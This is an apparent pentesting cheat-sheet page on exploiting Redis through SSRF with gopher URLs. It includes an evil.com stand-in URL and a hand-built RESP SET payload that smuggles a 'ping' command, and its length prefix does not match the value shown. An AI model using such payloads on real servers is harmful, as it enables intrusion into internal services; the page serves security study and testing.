githubEdit

Redis SSRF

Investigation

If the target server runs Redis server and the website interacts with the Redis server, we can modify the key value in the Redis and reflects the result through SSRF using gopher.

url=http://evil.com/

Exploitation

Automation

We can use Gopherusarrow-up-right to create a payload.

Payload Manually

To make the payload for SSRF manually, we need to know what commands to insert. To make it clear, try to demonstrate the command (RESP format) to update the target key value in Redis. Please see the Redis commandsarrow-up-right for details.

Below is the example command same as SET user ....

telnet 10.0.0.1 6379
*3 # 3 arguments ("SET", "user", "")
$3 # 3 length of the string "SET"
SET
$4 # 4 length of the string "user" key
user
$18 # 18 length of the string ""
ping+-c+1+10.0.0.2

Then we need to format the above command for the gopher URL. It’s need to be URL encoded conained %0D%0A (\r\n).

Finally we get the payload.

Copy it and paste to where the payload affects the result.

References

Last updated